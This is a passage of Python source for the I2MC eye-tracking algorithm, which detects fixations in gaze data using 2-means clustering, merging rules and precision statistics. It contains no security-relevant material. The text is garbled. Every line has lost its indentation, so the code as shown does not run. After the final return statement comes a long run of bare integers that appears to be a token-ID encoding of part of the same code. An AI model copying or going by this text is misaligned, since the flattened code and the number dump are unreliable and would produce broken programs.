# start at first non-missing sample if trial starts with missing (or
# excluded because too short) data
if on[0]==0:
i=off[0]+1 # start at first non-missing
else:
i=0
else:
i=0
eind = i+num_samples
while eind<=(len(xpos)-1):
# check if max errors is crossed
if num_errors > max_errors:
if logging:
print(logging_offset + 'Too many empty clusters encountered, aborting file. \n')
stopped = True
final_weights = np.nan
return final_weights, stopped
# select data portion of nrsamples
idx = range(i,eind)
ll_d = [[] for p in range(nd+1)]
IDL_d = [[] for p in range(nd+1)]
ll_d[0] = np.vstack([xpos[idx], ypos[idx]])
# Filter the bit of data we're about to downsample. Then we simply need
# to select each nth sample where n is the integer factor by which
# number of samples is reduced. select samples such that they are till
# end of window
for p in range(nd):
if downsamp_filter:
ll_d[p+1] = scipy.signal.filtfilt(b[p],a[p],ll_d[0])
ll_d[p+1] = ll_d[p+1][:,idxs[p]]
else:
ll_d[p+1] = ll_d[0][:,idxs[p]]
# do 2-means clustering
try:
for p in range(nd+1):
IDL_d[p] = kmeans2(ll_d[p].T)[0]
except NotConvergedError as e:
if logging:
print(logging_offset + str(e))
num_errors += 1
except Exception as e:
if logging:
print(logging_offset + 'Unknown error encountered at sample {}.\n'.format(i))
raise e
# detect switches and weight of switch (= 1/number of switches in
# portion)
switches = [[] for p in range(nd+1)]
switchesw = [[] for p in range(nd+1)]
for p in range(nd+1):
switches[p] = np.abs(np.diff(IDL_d[p]))
switchesw[p] = 1./np.sum(switches[p])
# get nearest samples of switch and add weight
weighted = np.hstack([switches[0]*switchesw[0],0])
for p in range(nd):
j = np.array((np.argwhere(switches[p+1]).flatten()+1)*downsamples[p],dtype=int)-1
for o in range(int(downsamples[p])):
weighted[j+o] = weighted[j+o] + switchesw[p+1]
# add to totalweights
total_weights[idx] = total_weights[idx] + weighted
# record how many times each sample was tested
num_tests[idx] = num_tests[idx] + 1
# update i
i += step_size
eind += step_size
missing_on = np.logical_and(on>=i, on<=eind)
missing_off = np.logical_and(off>=i, off<=eind)
qWhichMiss = np.logical_or(missing_on, missing_off)
if np.sum(qWhichMiss) > 0:
# we have some missing in this window. we don't process windows
# with missing. Move back if we just skipped some samples, or else
# skip whole missing and place start of window and first next
# non-missing.
if on[qWhichMiss][0] == (eind-step_size):
# continue at first non-missing
i = off[qWhichMiss][0]+1
else:
# we skipped some points, move window back so that we analyze
# up to first next missing point
i = on[qWhichMiss][0]-num_samples
eind = i+num_samples
if eind>len(xpos)-1 and eind-step_size<len(xpos)-1:
# we just exceeded data bound, but previous eind was before end of
# data: we have some unprocessed samples. retreat just enough so we
# process those end samples once
d = eind-len(xpos)+1
eind = eind-d
i = i-d
# create final weights
np.seterr(invalid='ignore')
final_weights = total_weights/num_tests
np.seterr(invalid='warn')
return final_weights, stopped
# =============================================================================
# Fixation detection functions
# =============================================================================
def get_fixations(final_weights, timestamp, xpos, ypos, missing, par):
"""
Description
Parameters
----------
finalweights : type
weighting from 2-means clustering procedure
timestamp : np.array
Timestamp from eyetracker (should be in ms!)
xpos : np.array
Horizontal coordinates from Eyetracker
ypos : np.array
Vertical coordinates from Eyetracker
missing : np.array
Vector containing the booleans for mising values
par : Dictionary containing the following keys and values
cutoffstd : float
Number of std above mean clustering-weight to use as fixation cutoff
onoffsetThresh : float
Threshold (x*MAD of fixation) for walking forward/back for saccade off- and onsets
maxMergeDist : float
Maximum Euclidean distance in pixels between fixations for merging
maxMergeTime : float
Maximum time in ms between fixations for merging
minFixDur : Float
Minimum duration allowed for fiation
Returns
-------
fix : Dictionary containing the following keys and values
cutoff : float
Cutoff used for fixation detection
start : np.array
Vector with fixation start indices
end : np.array
Vector with fixation end indices
startT : np.array
Vector with fixation start times
endT : np.array
Vector with fixation end times
dur : type
Vector with fixation durations
xpos : np.array
Vector with fixation median horizontal position (one value for each fixation in trial)
ypos : np.array
Vector with fixation median vertical position (one value for each fixation in trial)
flankdataloss : bool
Boolean with 1 for when fixation is flanked by data loss, 0 if not flanked by data loss
fracinterped : float
Fraction of data loss/interpolated data
Examples
--------
>>> fix = getFixations(finalweights,data['time'],xpos,ypos,missing,par)
>>> fix
{'cutoff': 0.1355980099309374,
'dur': array([366.599, 773.2 , 239.964, 236.608, 299.877, 126.637]),
'end': array([111, 349, 433, 508, 600, 643]),
'endT': array([ 369.919, 1163.169, 1443.106, 1693.062, 1999.738, 2142.977]),
'flankdataloss': array([1., 0., 0., 0., 0., 0.]),
'fracinterped': array([0.06363636, 0. , 0. , 0. , 0. ,
0. ]),
'start': array([ 2, 118, 362, 438, 511, 606]),
'startT': array([ 6.685, 393.325, 1206.498, 1459.79 , 1703.116, 2019.669]),
'xpos': array([ 945.936, 781.056, 1349.184, 1243.92 , 1290.048, 1522.176]),
'ypos': array([486.216, 404.838, 416.664, 373.005, 383.562, 311.904])}
"""
### Extract the required parameters
cutoffstd = par['cutoffstd']
onoffsetThresh = par['onoffsetThresh']
maxMergeDist = par['maxMergeDist']
maxMergeTime = par['maxMergeTime']
minFixDur = par['minFixDur']
### first determine cutoff for finalweights
cutoff = np.nanmean(final_weights) + cutoffstd*np.nanstd(final_weights,ddof=1)
### get boolean of fixations
fixbool = final_weights < cutoff
### get indices of where fixations start and end
fixstart, fixend = bool2bounds(fixbool)
### for each fixation start, walk forward until recorded position is below
# a threshold of lambda*MAD away from median fixation position.
# same for each fixation end, but walk backward
for p in range(len(fixstart)):
xFix = xpos[fixstart[p]:fixend[p]+1]
yFix = ypos[fixstart[p]:fixend[p]+1]
xmedThis = np.nanmedian(xFix)
ymedThis = np.nanmedian(yFix)
# MAD = median(abs(x_i-median({x}))). For the 2D version, I'm using
# median 2D distance of a point from the median fixation position. Not
# exactly MAD, but makes more sense to me for 2D than city block,
# especially given that we use 2D distance in our walk here
MAD = np.nanmedian(np.hypot(xFix-xmedThis, yFix-ymedThis))
thresh = MAD*onoffsetThresh
# walk until distance less than threshold away from median fixation
# position. No walking occurs when we're already below threshold.
i = fixstart[p]
if i>0: # don't walk when fixation starting at start of data
while np.hypot(xpos[i]-xmedThis,ypos[i]-ymedThis)>thresh:
i = i+1
fixstart[p] = i
# and now fixation end.
i = fixend[p]
if i<len(xpos): # don't walk when fixation ending at end of data
while np.hypot(xpos[i]-xmedThis,ypos[i]-ymedThis)>thresh:
i = i-1
fixend[p] = i
### get start time, end time,
starttime = timestamp[fixstart]
endtime = timestamp[fixend]
### loop over all fixation candidates in trial, see if should be merged
for p in range(1,len(starttime))[::-1]:
# get median coordinates of fixation
xmedThis = np.median(xpos[fixstart[p]:fixend[p]+1])
ymedThis = np.median(ypos[fixstart[p]:fixend[p]+1])
xmedPrev = np.median(xpos[fixstart[p-1]:fixend[p-1]+1])
ymedPrev = np.median(ypos[fixstart[p-1]:fixend[p-1]+1])
# check if fixations close enough in time and space and thus qualify
# for merging
# The interval between the two fixations is calculated correctly (see
# notes about fixation duration below), i checked this carefully. (Both
# start and end of the interval are shifted by one sample in time, but
# assuming practically constant sample interval, thats not an issue.)
if starttime[p]-endtime[p-1] < maxMergeTime and \
np.hypot(xmedThis-xmedPrev,ymedThis-ymedPrev) < maxMergeDist:
# merge
fixend[p-1] = fixend[p]
endtime[p-1]= endtime[p]
# delete merged fixation
fixstart = np.delete(fixstart, p)
fixend = np.delete(fixend, p)
starttime = np.delete(starttime, p)
endtime = np.delete(endtime, p)
### beginning and end of fixation must be real data, not interpolated.
# If interpolated, those bit(s) at the edge(s) are excluded from the
# fixation. First throw out fixations that are all missing/interpolated
for p in range(len(starttime))[::-1]:
miss = missing[fixstart[p]:fixend[p]+1]
if np.sum(miss) == len(miss):
fixstart = np.delete(fixstart, p)
fixend = np.delete(fixend, p)
starttime = np.delete(starttime, p)
endtime = np.delete(endtime, p)
# then check edges and shrink if needed
for p in range(len(starttime)):
if missing[fixstart[p]]:
fixstart[p] = fixstart[p] + np.argmax(np.invert(missing[fixstart[p]:fixend[p]+1]))
starttime[p]= timestamp[fixstart[p]]
if missing[fixend[p]]:
fixend[p] = fixend[p] - (np.argmax(np.invert(missing[fixstart[p]:fixend[p]+1][::-1]))+1)
endtime[p] = timestamp[fixend[p]]
### calculate fixation duration
# if you calculate fixation duration by means of time of last sample during
# fixation minus time of first sample during fixation (our fixation markers
# are inclusive), then you always underestimate fixation duration by one
# sample because you're in practice counting to the beginning of the
# sample, not the end of it. To solve this, as end time we need to take the
# timestamp of the sample that is one past the last sample of the fixation.
# so, first calculate fixation duration by simple timestamp subtraction.
fixdur = endtime-starttime
# then determine what duration of this last sample was
nextSamp = np.min(np.vstack([fixend+1,np.zeros(len(fixend),dtype=int)+len(timestamp)-1]),axis=0) # make sure we don't run off the end of the data
extratime = timestamp[nextSamp]-timestamp[fixend]
# if last fixation ends at end of data, we need to determine how long that
# sample is and add that to the end time. Here we simply guess it as the
# duration of previous sample
if not len(fixend)==0 and fixend[-1]==len(timestamp): # first check if there are fixations in the first place, or we'll index into non-existing data
extratime[-1] = np.diff(timestamp[-3:-1])
# now add the duration of the end sample to fixation durations, so we have
# correct fixation durations
fixdur = fixdur+extratime
### check if any fixations are too short
qTooShort = np.argwhere(fixdur<minFixDur)
if len(qTooShort) > 0:
fixstart = np.delete(fixstart, qTooShort)
fixend = np.delete(fixend, qTooShort)
starttime = np.delete(starttime, qTooShort)
endtime = np.delete(endtime, qTooShort)
fixdur = np.delete(fixdur, qTooShort)
### process fixations, get other info about them
xmedian = np.zeros(fixstart.shape) # vector for median
ymedian = np.zeros(fixstart.shape) # vector for median
flankdataloss = np.zeros(fixstart.shape) # vector for whether fixation is flanked by data loss
fracinterped = np.zeros(fixstart.shape) # vector for fraction interpolated
for a in range(len(fixstart)):
idxs = range(fixstart[a],fixend[a]+1)
# get data during fixation
xposf = xpos[idxs]
yposf = ypos[idxs]
# for all calculations below we'll only use data that is not
# interpolated, so only real data
qMiss = missing[idxs]
# get median coordinates of fixation
xmedian[a] = np.median(xposf[np.invert(qMiss)])
ymedian[a] = np.median(yposf[np.invert(qMiss)])
# determine whether fixation is flanked by period of data loss
flankdataloss[a] = (fixstart[a]>0 and missing[fixstart[a]-1]) or (fixend[a]<len(xpos)-1 and missing[fixend[a]+1])
# fraction of data loss during fixation that has been (does not count
# data that is still lost)
fracinterped[a] = np.sum(np.invert(np.isnan(xposf[qMiss])))/(fixend[a]-fixstart[a]+1)
# store all the results in a dictionary
fix = {}
fix['cutoff'] = cutoff
fix['start'] = fixstart
fix['end'] = fixend
fix['startT'] = starttime
fix['endT'] = endtime
fix['dur'] = fixdur
fix['xpos'] = xmedian
fix['ypos'] = ymedian
fix['flankdataloss'] = flankdataloss
fix['fracinterped'] = fracinterped
return fix
def get_fix_stats(xpos, ypos, missing, fix, pix_per_deg = None):
"""
Description
Parameters
----------
xpos : np.array
X gaze positions
ypos : np.array
Y gaze positions
missing : np.array - Boolean
Vector containing the booleans indicating missing samples (originally, before interpolation!)
fix : Dictionary containing the following keys and values
fstart : np.array
fixation start indices
fend : np.array
fixation end indices
pixperdeg : float
Number of pixels per visual degree. Output in degrees if provided, in pixels otherwise
Returns
-------
fix : the fix input dictionary with the following added keys and values
RMSxy : float
RMS of fixation (precision)
BCEA : float
BCEA of fixation (precision)
rangeX : float
max(xpos) - min(xpos) of fixation
rangeY : float
max(ypos) - min(ypos) of fixation
Examples
--------
>>> fix = getFixStats(xpos,ypos,missing,fix,pixperdeg)
>>> fix
{'BCEA': array([0.23148877, 0.23681681, 0.24498942, 0.1571361 , 0.20109245,
0.23703843]),
'RMSxy': array([0.2979522 , 0.23306149, 0.27712236, 0.26264146, 0.28913117,
0.23147076]),
'cutoff': 0.1355980099309374,
'dur': array([366.599, 773.2 , 239.964, 236.608, 299.877, 126.637]),
'end': array([111, 349, 433, 508, 600, 643]),
'endT': array([ 369.919, 1163.169, 1443.106, 1693.062, 1999.738, 2142.977]),
'fixRangeX': array([0.41066299, 0.99860672, 0.66199772, 0.49593727, 0.64628929,
0.81010568]),
'fixRangeY': array([1.58921528, 1.03885955, 1.10576059, 0.94040142, 1.21936613,
0.91263117]),
'flankdataloss': array([1., 0., 0., 0., 0., 0.]),
'fracinterped': array([0.06363636, 0. , 0. , 0. , 0. ,
0. ]),
'start': array([ 2, 118, 362, 438, 511, 606]),
'startT': array([ 6.685, 393.325, 1206.498, 1459.79 , 1703.116, 2019.669]),
'xpos': array([ 945.936, 781.056, 1349.184, 1243.92 , 1290.048, 1522.176]),
'ypos': array([486.216, 404.838, 416.664, 373.005, 383.562, 311.904])}
"""
# Extract the required parameters
fstart = fix['start']
fend = fix['end']
# vectors for precision measures
RMSxy = np.zeros(fstart.shape)
BCEA = np.zeros(fstart.shape)
rangeX = np.zeros(fstart.shape)
rangeY = np.zeros(fstart.shape)
for a in range(len(fstart)):
idxs = range(fstart[a],fend[a]+1)
# get data during fixation
xposf = xpos[idxs]
yposf = ypos[idxs]
# for all calculations below we'll only use data that is not
# interpolated, so only real data
qMiss = missing[idxs]
### calculate RMS
# since its done with diff, don't just exclude missing and treat
# resulting as one continuous vector. replace missing with nan first,
# use left-over values
# Difference x position
xdif = xposf.copy()
xdif[qMiss] = np.nan
xdif = np.diff(xdif)**2
xdif = xdif[np.invert(np.isnan(xdif))]
# Difference y position
ydif = yposf.copy()
ydif[qMiss] = np.nan
ydif = np.diff(ydif)**2
ydif = ydif[np.invert(np.isnan(ydif))]
# Distance and RMS measure
c = xdif + ydif # 2D sample-to-sample displacement value in pixels
RMSxy[a] = np.sqrt(np.mean(c))
if pix_per_deg is not None:
RMSxy[a] = RMSxy[a]/pix_per_deg # value in degrees visual angle
### calculate BCEA (Crossland and Rubin 2002 Optometry and Vision Science)
stdx = np.std(xposf[np.invert(qMiss)],ddof=1)
stdy = np.std(yposf[np.invert(qMiss)],ddof=1)
if pix_per_deg is not None:
# value in degrees visual angle
stdx = stdx/pix_per_deg
stdy = stdy/pix_per_deg
if len(yposf[np.invert(qMiss)])<2:
BCEA[a] = np.nan
else:
xx = np.corrcoef(xposf[np.invert(qMiss)],yposf[np.invert(qMiss)])
rho = xx[0,1]
P = 0.68 # cumulative probability of area under the multivariate normal
k = np.log(1./(1-P))
BCEA[a] = 2*k*np.pi*stdx*stdy*np.sqrt(1-rho**2)
### calculate max-min of fixation
if np.sum(qMiss) == len(qMiss):
rangeX[a] = np.nan
rangeY[a] = np.nan
else:
rangeX[a] = (np.max(xposf[np.invert(qMiss)]) - np.min(xposf[np.invert(qMiss)]))
rangeY[a] = (np.max(yposf[np.invert(qMiss)]) - np.min(yposf[np.invert(qMiss)]))
if pix_per_deg is not None:
# value in degrees visual angle
rangeX[a] = rangeX[a]/pix_per_deg
rangeY[a] = rangeY[a]/pix_per_deg
# Add results to fixation dictionary
fix['RMSxy'] = RMSxy
fix['BCEA'] = BCEA
fix['fixRangeX'] = rangeX
fix['fixRangeY'] = rangeY
return fix
# =============================================================================
# =============================================================================
# # The actual I2MC pipeline function
# =============================================================================
# =============================================================================
def I2MC(gazeData, options = None, logging=True, logging_offset=""):
"""
Parameters
----------
@param gazeData: a dataframe containing the gaze data
the dataframe should contain the following columns (either L, R or both or average):
L_X - left eye x position
L_Y - left eye y position
R_X - right eye x position
R_Y - right eye y position
average_X - average x position
average_Y - average y position
time - time of the gaze sample
@param options: a dictionary containing the options for the I2MC analysis
the dictionary should contain the following keys:
x_res - x resolution of the screen in pixels
y_res - y resolution of the screen in pixels
freq - frequency of the Eyetracker in Hz
missing_x - value indicating data loss
missing_y - value indicating data loss
@param logging: boolean indicating whether to log the results
@param logging_offset: offset before every logging message
Returns
-------
@return: false if the analysis was not successful, otherwise a dictionary
containing the results of the analysis.
The Dictionary contains the following keys:
cutoff -
start -
end -
startT -
endT -
dur -
xpos -
ypos -
flankdataloss -
fracinterped -
RMSxy -
BCEA -
fixRangeX -
fixRangeY -
"""
# set defaults
if options is None:
options = {}
data = copy.deepcopy(gazeData)
opt = options.copy()
par = {}
# Check required parameters
check_fun('xres', opt, 'horizontal screen resolution')
check_fun('yres', opt, 'vertical screen resolution')
check_fun('freq', opt, 'tracker sampling rate')
check_fun('missingx', opt, 'value indicating data loss for horizontal position')
check_fun('missingy', opt, 'value indicating data loss for vertical position')
# required parameters:
par['xres'] = opt.pop('xres')
par['yres'] = opt.pop('yres')
par['freq'] = opt.pop('freq')
par['missingx'] = opt.pop('missingx')
par['missingy'] = opt.pop('missingy')
par['scrSz'] = opt.pop('scrSz', None ) # screen size (e.g. in cm). Optional, specify if want fixation statistics in deg
par['disttoscreen'] = opt.pop('disttoscreen', None) # screen distance (in same unit as size). Optional, specify if want fixation statistics in deg
#parameters with defaults:
# CUBIC SPLINE INTERPOLATION
par['windowtimeInterp'] = opt.pop('windowtimeInterp', .1) # max duration (s) of missing values for interpolation to occur
par['edgeSampInterp'] = opt.pop('edgeSampInterp', 2) # amount of data (number of samples) at edges needed for interpolation
par['maxdisp'] = opt.pop('maxdisp', None) # maximum displacement during missing for interpolation to be possible. Default set below if needed
# K-MEANS CLUSTERING
par['windowtime'] = opt.pop('windowtime', .2) # time window (s) over which to calculate 2-means clustering (choose value so that max. 1 saccade can occur)
par['steptime'] = opt.pop('steptime', .02) # time window shift (s) for each iteration. Use zero for sample by sample processing
par['downsamples'] = opt.pop('downsamples', [2, 5, 10]) # downsample levels (can be empty)
par['downsampFilter'] = opt.pop('downsampFilter', True) # use chebychev filter when downsampling? True: yes, False: no. requires signal processing toolbox. is what matlab's downsampling functions do, but could cause trouble (ringing) with the hard edges in eye-movement data
par['chebyOrder'] = opt.pop('chebyOrder', 8.) # order of cheby1 Chebyshev downsampling filter, default is normally ok, as long as there are 25 or more samples in the window (you may have less if your data is of low sampling rate or your window is small
par['maxerrors'] = opt.pop('maxerrors', 100.) # maximum number of errors allowed in k-means clustering procedure before proceeding to next file
# FIXATION DETERMINATION
par['cutoffstd'] = opt.pop('cutoffstd', 2.) # number of standard deviations above mean k-means weights will be used as fixation cutoff
par['onoffsetThresh'] = opt.pop('onoffsetThresh', 3.) # number of MAD away from median fixation duration. Will be used to walk forward at fixation starts and backward at fixation ends to refine their placement and stop algorithm from eating into saccades
par['maxMergeDist'] = opt.pop('maxMergeDist', 30.) # maximum Euclidean distance in pixels between fixations for merging
par['maxMergeTime'] = opt.pop('maxMergeTime', 30.) # maximum time in ms between fixations for merging
par['minFixDur'] = opt.pop('minFixDur', 40.) # minimum fixation duration (ms) after merging, fixations with shorter duration are removed from output
# Development parameters, change these to False when not developing
par['skip_inputhandeling'] = opt.pop('skip_inputhandeling', False)
for key in opt:
assert False, 'Key "{}" not recognized'.format(key)
# =============================================================================
# # Input handeling and checking
# =============================================================================
## loop over input
if not par['skip_inputhandeling']:
for key, value in par.items():
if key in ['xres','yres','freq','missingx','missingy','windowtimeInterp','maxdisp','windowtime',
'steptime','cutoffstd','onoffsetThresh','maxMergeDist','maxMergeTime','minFixDur']:
check_numeric(key,value)
check_scalar(key,value)
elif key == 'disttoscreen':
if value is not None: # may be None (its an optional parameter)
check_numeric(key,value)
check_scalar(key,value)
elif key in ['downsampFilter','chebyOrder','maxerrors','edgeSampInterp']:
check_int(key,value)
check_scalar(key,value)
elif key == 'scrSz':
if value is not None: # may be None (its an optional parameter)
check_numeric(key,value)
check_vector_2(key,value)
elif key == 'downsamples':
check_int(key,value)
else:
if type(key) != str:
raise ValueError('Key "{}" not recognized'.format(key))
# set defaults
if par['maxdisp'] is None:
par['maxdisp'] = par['xres']*0.2*np.sqrt(2)
# check filter
if par['downsampFilter']:
nSampRequired = np.max([1,3*par['chebyOrder']])+1 # nSampRequired = max(1,3*(nfilt-1))+1, where nfilt = chebyOrder+1
nSampInWin = round(par['windowtime']/(1./par['freq']))
if nSampInWin < nSampRequired:
raise ValueError('I2MC: Filter parameters requested with the setting "chebyOrder" ' +
'will not work for the sampling frequency of your data. Please lower ' +
'"chebyOrder", or set the setting "downsampFilter" to False')
assert np.sum(par['freq']%np.array(par['downsamples'])) ==0,'I2MCfunc: Some of your downsample levels are not divisors of your sampling frequency. Change the option "downsamples"'
# setup visual angle conversion
pix_per_deg = None
if par['scrSz'] is not None and par['disttoscreen'] is not None:
pix_per_deg = angle_to_pixels(1, par['disttoscreen'], par['scrSz'][0], [par['xres'], par['yres']])
# =============================================================================
# Determine missing values and determine X and Y gaze pos
# =============================================================================
# deal with monocular data, or create average over two eyes
if 'L_X' in data.keys() and 'R_X' not in data.keys():
xpos = data['L_X']
ypos = data['L_Y']
# Check for missing values
missing_x = np.logical_or(np.isnan(xpos), xpos == par['missingx'])
missing_y = np.logical_or(np.isnan(ypos), ypos == par['missingy'])
missing = np.logical_or(missing_x, missing_y)
data['left_missing'] = missing
q2Eyes = False
elif 'R_X' in data.keys() and 'L_X' not in data.keys():
xpos = data['R_X']
ypos = data['R_Y']
# Check for missing values
missing_x = np.logical_or(np.isnan(xpos), xpos == par['missingx'])
missing_y = np.logical_or(np.isnan(ypos) , ypos == par['missingy'])
missing = np.logical_or(missing_x, missing_y)
data['right_missing'] = missing
q2Eyes = False
elif 'average_X' in data.keys():
xpos = data['average_X']
ypos = data['average_Y']
missing_x = np.logical_or(np.isnan(xpos), xpos == par['missingx'])
missing_y = np.logical_or(np.isnan(ypos) , ypos == par['missingy'])
missing = np.logical_or(missing_x, missing_y)
data['average_missing'] = missing
q2Eyes = 'R_X' in data.keys() and 'L_X' in data.keys()
if q2Eyes:
# we have left and right and average already provided, but we need
# to get missing in the individual eye signals
llmiss, rrmiss, bothmiss = get_missing(data['L_X'], data['R_X'], par['missingx'], data['L_Y'], data['R_Y'], par['missingy'])
data['left_missing'] = llmiss
data['right_missing'] = rrmiss
else: # we have left and right, average them
data['average_X'], data['average_Y'], missing, llmiss, rrmiss = average_eyes(data['L_X'], data['R_X'], par['missingx'], data['L_Y'], data['R_Y'], par['missingy'])
xpos = data['average_X']
ypos = data['average_Y']
data['average_missing'] = missing
data['left_missing'] = llmiss
data['right_missing'] = rrmiss
q2Eyes = True
# =============================================================================
# INTERPOLATION
# =============================================================================
# get interpolation windows for average and individual eye signals
if logging:
print(logging_offset + 'I2MC: Searching for valid interpolation windows')
missStart,missEnd = find_interp_wins(xpos, ypos, missing, par['windowtimeInterp'],
par['edgeSampInterp'], par['freq'], par['maxdisp'])
if q2Eyes:
llmissStart,llmissEnd = find_interp_wins(data['L_X'], data['L_Y'], llmiss, par['windowtimeInterp'],
par['edgeSampInterp'], par['freq'], par['maxdisp'])
rrmissStart,rrmissEnd = find_interp_wins(data['R_X'], data['R_Y'], rrmiss, par['windowtimeInterp'],
par['edgeSampInterp'], par['freq'], par['maxdisp'])
# Use Steffen interpolation and replace values
if logging:
print(logging_offset + 'I2MC: Replace interpolation windows with Steffen interpolation')
xpos, ypos, missingn = windowed_interpolate(xpos, ypos, missing, missStart, missEnd, par['edgeSampInterp'])
if q2Eyes:
llx, lly,llmissn = windowed_interpolate(data['L_X'], data['L_Y'], data['left_missing'],
llmissStart, llmissEnd, par['edgeSampInterp'])
rrx, rry,rrmissn = windowed_interpolate(data['R_X'], data['R_Y'], data['right_missing'],
rrmissStart, rrmissEnd, par['edgeSampInterp'])
# =============================================================================
# 2-MEANS CLUSTERING
# =============================================================================
## CALCULATE 2-MEANS CLUSTERING FOR SINGLE EYE
if not q2Eyes:
# get kmeans-clustering for averaged signal
if logging:
print(logging_offset + 'I2MC: 2-Means clustering started for averaged signal')
data['finalweights'], stopped = two_cluster_weighting(xpos, ypos, missingn, par['downsamples'],
par['downsampFilter'], par['chebyOrder'],
par['windowtime'], par['steptime'],par['freq'],
par['maxerrors'], logging, logging_offset)
# check whether clustering succeeded
if stopped:
warnings.warn('I2MC: Clustering stopped after exceeding max errors, continuing to next file \n')
return False
## CALCULATE 2-MEANS CLUSTERING FOR SEPARATE EYES
elif q2Eyes:
# get kmeans-clustering for left eye signal
if logging:
print(logging_offset + 'I2MC: 2-Means clustering started for left eye signal')
finalweights_left, stopped = two_cluster_weighting(llx, lly, llmissn, par['downsamples'],
par['downsampFilter'], par['chebyOrder'],
par['windowtime'], par['steptime'], par['freq'],
par['maxerrors'], logging, logging_offset)
# check whether clustering succeeded
if stopped:
warnings.warn('I2MC: Clustering stopped after exceeding max errors, continuing to next file \n')
return False
# get kmeans-clustering for right eye signal
if logging:
print(logging_offset + 'I2MC: 2-Means clustering started for right eye signal')
finalweights_right, stopped = two_cluster_weighting(rrx, rry, rrmissn, par['downsamples'],
par['downsampFilter'],par['chebyOrder'],
par['windowtime'], par['steptime'], par['freq'],
par['maxerrors'], logging, logging_offset)
# check whether clustering succeeded
if stopped:
warnings.warn('I2MC: Clustering stopped after exceeding max errors, continuing to next file')
return False
## AVERAGE FINALWEIGHTS OVER COMBINED & SEPARATE EYES
with warnings.catch_warnings():
warnings.simplefilter("ignore") # ignore warnings from np.nanmean
data['finalweights'] = np.nanmean(np.vstack([finalweights_left, finalweights_right]), axis=0)
# =============================================================================
# DETERMINE FIXATIONS BASED ON FINALWEIGHTS_AVG
# =============================================================================
if logging:
print(logging_offset + 'I2MC: Determining fixations based on clustering weight mean for averaged signal and separate eyes + {:.2f}*std'.format(par['cutoffstd']))
fix = get_fixations(data['finalweights'], data['time'], xpos, ypos, missing, par)
fix = get_fix_stats(xpos, ypos, missing, fix, pix_per_deg)
return fix,data,par
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12647,
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312,
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60,
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220,
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220,
220,
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1930,
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1303,
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326,
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2626,
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7,
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7,
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220,
40117,
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220,
220,
24200,
438,
198,
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220,
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2124,
1930,
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13,
18747,
198,
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220,
220,
220,
220,
220,
220,
1395,
17841,
6116,
198,
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13,
18747,
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220,
220,
220,
220,
220,
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575,
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13,
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41146,
198,
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220,
220,
220,
220,
220,
20650,
7268,
262,
1489,
2305,
504,
12739,
4814,
8405,
357,
11612,
3289,
11,
878,
39555,
341,
8133,
198,
220,
220,
220,
4259,
1058,
28261,
7268,
262,
1708,
8251,
290,
3815,
198,
220,
220,
220,
220,
220,
220,
220,
277,
9688,
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13,
18747,
198,
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220,
220,
220,
220,
220,
220,
220,
220,
220,
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36525,
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220,
220,
220,
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41229,
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3509,
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6,
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16412,
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26933,
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3459,
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663,
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351,
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11,
836,
470,
655,
19607,
4814,
290,
2190,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
7186,
355,
530,
12948,
15879,
13,
6330,
4814,
351,
15709,
717,
11,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
779,
1364,
12,
2502,
3815,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
43795,
2124,
2292,
198,
220,
220,
220,
220,
220,
220,
220,
2124,
67,
361,
796,
2124,
1930,
69,
13,
30073,
3419,
198,
220,
220,
220,
220,
220,
220,
220,
2124,
67,
361,
58,
80,
17140,
60,
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13,
12647,
198,
220,
220,
220,
220,
220,
220,
220,
2124,
67,
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45941,
13,
26069,
7,
24954,
361,
8,
1174,
17,
198,
220,
220,
220,
220,
220,
220,
220,
2124,
67,
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67,
361,
58,
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13,
259,
1851,
7,
37659,
13,
271,
12647,
7,
24954,
361,
4008,
60,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
43795,
331,
2292,
198,
220,
220,
220,
220,
220,
220,
220,
331,
67,
361,
796,
331,
1930,
69,
13,
30073,
3419,
198,
220,
220,
220,
220,
220,
220,
220,
331,
67,
361,
58,
80,
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60,
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13,
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198,
220,
220,
220,
220,
220,
220,
220,
331,
67,
361,
796,
45941,
13,
26069,
7,
5173,
361,
8,
1174,
17,
198,
220,
220,
220,
220,
220,
220,
220,
331,
67,
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331,
67,
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13,
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1851,
7,
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13,
271,
12647,
7,
5173,
361,
4008,
60,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
34600,
290,
371,
5653,
3953,
198,
220,
220,
220,
220,
220,
220,
220,
269,
796,
2124,
67,
361,
1343,
331,
67,
361,
1303,
362,
35,
6291,
12,
1462,
12,
39873,
29358,
1988,
287,
17848,
198,
220,
220,
220,
220,
220,
220,
220,
371,
5653,
5431,
58,
64,
60,
796,
45941,
13,
31166,
17034,
7,
37659,
13,
32604,
7,
66,
4008,
198,
220,
220,
220,
220,
220,
220,
220,
611,
279,
844,
62,
525,
62,
13500,
318,
407,
6045,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
371,
5653,
5431,
58,
64,
60,
796,
371,
5653,
5431,
58,
64,
60,
14,
79,
844,
62,
525,
62,
13500,
1303,
1988,
287,
7370,
5874,
9848,
198,
220,
220,
220,
220,
220,
220,
220,
220,
198,
220,
220,
220,
220,
220,
220,
220,
44386,
15284,
37078,
32,
357,
21544,
1044,
290,
34599,
6244,
13123,
15748,
290,
19009,
5800,
8,
198,
220,
220,
220,
220,
220,
220,
220,
14367,
87,
796,
45941,
13,
19282,
7,
87,
1930,
69,
58,
37659,
13,
259,
1851,
7,
80,
17140,
8,
4357,
1860,
1659,
28,
16,
8,
198,
220,
220,
220,
220,
220,
220,
220,
336,
9892,
796,
45941,
13,
19282,
7,
88,
1930,
69,
58,
37659,
13,
259,
1851,
7,
80,
17140,
8,
4357,
1860,
1659,
28,
16,
8,
198,
220,
220,
220,
220,
220,
220,
220,
611,
279,
844,
62,
525,
62,
13500,
318,
407,
6045,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
1988,
287,
7370,
5874,
9848,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
14367,
87,
796,
14367,
87,
14,
79,
844,
62,
525,
62,
13500,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
336,
9892,
796,
336,
9892,
14,
79,
844,
62,
525,
62,
13500,
198,
220,
220,
220,
220,
198,
220,
220,
220,
220,
220,
220,
220,
611,
18896,
7,
88,
1930,
69,
58,
37659,
13,
259,
1851,
7,
80,
17140,
8,
12962,
27,
17,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
